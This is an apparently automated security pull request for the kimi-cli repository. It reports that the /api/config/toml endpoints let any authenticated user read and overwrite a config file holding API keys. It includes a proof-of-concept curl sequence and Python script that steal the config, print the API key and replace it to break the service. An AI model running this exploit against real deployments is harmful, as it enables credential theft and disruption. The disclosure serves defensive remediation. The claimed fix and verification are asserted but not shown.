[Security] Fix CRITICAL vulnerability: V-001

[orbisai0security]

Security Fix

This PR addresses a CRITICAL severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	High	In this CLI tool repository for Kimi AI, exploitation could expose API keys and credentials from config.toml, enabling attackers to access the underlying AI service, potentially leading to unauthorized data retrieval, service abuse, or further lateral movement in integrated systems. The web API component suggests possible deployment scenarios where sensitive data exposure could compromise user accounts or associated resources.
Likelihood	Medium	The repository is primarily a CLI tool, likely used in local or developer environments with limited public exposure, making widespread exploitation less probable. However, if the web API is deployed in a shared or cloud context with authentication, motivated attackers (e.g., insiders or those targeting AI integrations) could exploit the lack of authorization, especially if the tool gains popularity.
Ease of Fix	Medium	Remediation involves adding authorization checks to the /api/config/toml endpoints, requiring modifications to authentication logic and possibly middleware, which could affect multiple API routes. This necessitates moderate testing to ensure no breaking changes in the CLI's web functionality, but it's feasible without major architectural overhauls.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in the kimi-cli repository allows any authenticated user to retrieve and modify the config.toml file via the /api/config/toml endpoints, exposing sensitive credentials like API keys. An attacker with valid authentication (e.g., a session token or cookie from a logged-in user) can exploit this by making simple HTTP requests to the web API, potentially stealing keys for unauthorized access to the MoonshotAI Kimi service. This demonstrates a real-world risk where compromised user accounts could lead to credential theft without needing admin privileges.

The vulnerability in the kimi-cli repository allows any authenticated user to retrieve and modify the config.toml file via the /api/config/toml endpoints, exposing sensitive credentials like API keys. An attacker with valid authentication (e.g., a session token or cookie from a logged-in user) can exploit this by making simple HTTP requests to the web API, potentially stealing keys for unauthorized access to the MoonshotAI Kimi service. This demonstrates a real-world risk where compromised user accounts could lead to credential theft without needing admin privileges.

# Assuming the kimi-cli web server is running on localhost:8000 (common for such CLIs with web interfaces)
# Step 1: Authenticate as a regular user (replace with actual login mechanism if known; here assuming a simple POST to /login with credentials)
curl -X POST http://localhost:8000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker_user","password":"attacker_pass"}' \
  -c cookies.txt  # Save session cookie

# Step 2: Exploit the vulnerability by retrieving the config.toml file
curl -X GET http://localhost:8000/api/config/toml \
  -b cookies.txt  # Use the saved cookie for authentication
  -o stolen_config.toml

# Step 3: (Optional) Modify the config to disrupt service (e.g., change API key to invalid value)
curl -X PUT http://localhost:8000/api/config/toml \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -d '{"api_key":"invalid_key_to_break_service"}'

# Python script for automated exploitation (requires requests library)
import requests

# Step 1: Authenticate (adjust URL and payload based on actual login endpoint)
session = requests.Session()
login_response = session.post('http://localhost:8000/login', json={
    'username': 'attacker_user',
    'password': 'attacker_pass'
})
if login_response.status_code != 200:
    print("Authentication failed")
    exit(1)

# Step 2: Retrieve config.toml
config_response = session.get('http://localhost:8000/api/config/toml')
if config_response.status_code == 200:
    with open('stolen_config.toml', 'w') as f:
        f.write(config_response.text)
    print("Config retrieved and saved to stolen_config.toml")
    # Parse for API keys (example: extract if in TOML format)
    import toml
    config = toml.loads(config_response.text)
    api_key = config.get('api', {}).get('key')
    if api_key:
        print(f"Stolen API key: {api_key}")
else:
    print("Failed to retrieve config")

# Step 3: Modify config (e.g., to cause operational disruption)
modified_config = {"api": {"key": "malicious_or_invalid_key"}}
session.put('http://localhost:8000/api/config/toml', json=modified_config)
print("Config modified to potentially disrupt service")

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	High	Exposure of the entire config.toml file, which contains API keys for MoonshotAI's Kimi service. An attacker could steal these keys to make unauthorized API calls, potentially incurring costs on the owner's account, accessing or generating AI content, or performing denial-of-service by exhausting rate limits.
System Compromise	Low	No direct code execution or system-level access; the vulnerability is limited to reading/writing configuration data. An attacker could not escalate to server privileges or container escape without chaining with other vulnerabilities.
Operational Impact	Medium	Modifying the config (e.g., invalidating API keys) could disrupt the CLI's functionality, preventing users from interacting with the Kimi AI service until the config is restored. This could affect availability for legitimate users but is reversible with backups.
Compliance Risk	Medium	Violates OWASP API Security Top 10 (e.g., A01:2021 - Broken Access Control) and could lead to breaches of service agreements with MoonshotAI. If the CLI handles sensitive user data in AI interactions, it might risk GDPR violations if keys enable unauthorized data access, though no direct PII exposure is evident.

Vulnerability Details

• Rule ID: V-001
• File: src/kimi_cli/web/api/config.py
• Description: The configuration API endpoints at /api/config/toml allow retrieval and modification of the entire config.toml file which likely contains API keys and sensitive credentials. The security assessment shows these endpoints exist but there is no evidence of authorization checks to restrict access to administrators only. Any authenticated user could potentially retrieve API keys through GET /api/config/toml.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• src/kimi_cli/web/api/config.py

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.

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